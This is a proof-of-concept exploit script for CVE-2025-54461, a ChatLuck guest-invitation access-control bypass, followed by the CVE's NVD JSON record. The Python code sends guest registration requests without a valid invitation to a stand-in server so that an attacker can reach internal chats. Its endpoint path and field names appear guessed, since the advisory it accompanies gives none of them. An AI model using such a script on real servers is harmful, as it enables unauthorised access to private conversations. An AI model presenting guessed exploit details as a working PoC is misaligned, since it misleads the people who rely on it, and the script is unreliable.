CVE-2025-54461

# CVE-2025-54461 - ChatLuck Guest User Access Control Bypass PoC # This PoC demonstrates how an uninvited user can register as a guest user # by bypassing the insufficient access control in the invitation mechanism. import requests # Target ChatLuck server URL TARGET_URL = "https://target-chatluck-server.example.com" # Step 1: Attempt to access the guest user registration endpoint # without a valid invitation code session = requests.Session() # Step 2: Bypass invitation validation by directly submitting registration data registration_data = { "username": "attacker_guest", "display_name": "Guest User", "email": "[email protected]", "password": "P@ssw0rd123!", # No valid invitation_code or token is provided "invitation_code": "INVALID_OR_BYPASSED", "chatroom_id": "target_chatroom_id" } # Step 3: Send registration request to the guest user endpoint response = session.post( f"{TARGET_URL}/api/guest/register", json=registration_data, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } ) # Step 4: Check if registration succeeded despite no valid invitation if response.status_code == 200: print("[+] Guest user registered successfully without invitation!") print(f"[+] Response: {response.json()}") # Attacker can now access internal chat sessions else: print(f"[-] Registration failed: {response.status_code}") # Alternative: try with empty/missing invitation parameter registration_data.pop("invitation_code", None) response = session.post( f"{TARGET_URL}/api/guest/register", json=registration_data ) if response.status_code == 200: print("[+] Bypass successful with no invitation code!")

{"cve": {"id": "CVE-2025-54461", "sourceIdentifier": "[email protected]", "published": "2025-10-16T09:15:34.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChatLuck contains an insufficient granularity of access control vulnerability in Invitation of Guest Users. If exploited, an uninvited guest user may register itself as a guest user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1220"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN13030751/", "source": "[email protected]"}, {"url": "https://www.chatluck.com/support/package/mainte/pchatluck-%e8%a3%bd%e5%93%81%e3%81%ab%e3%81%8a%e3%81%91%e3%82%8b%e3%80%81%e8%a4%87%e6%95%b0%e3%81%ae%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e4%b8%8a%e3%81%ae%e5%95%8f%e9%a1%8c%e3%81%ab/", "source": "[email protected]"}]}}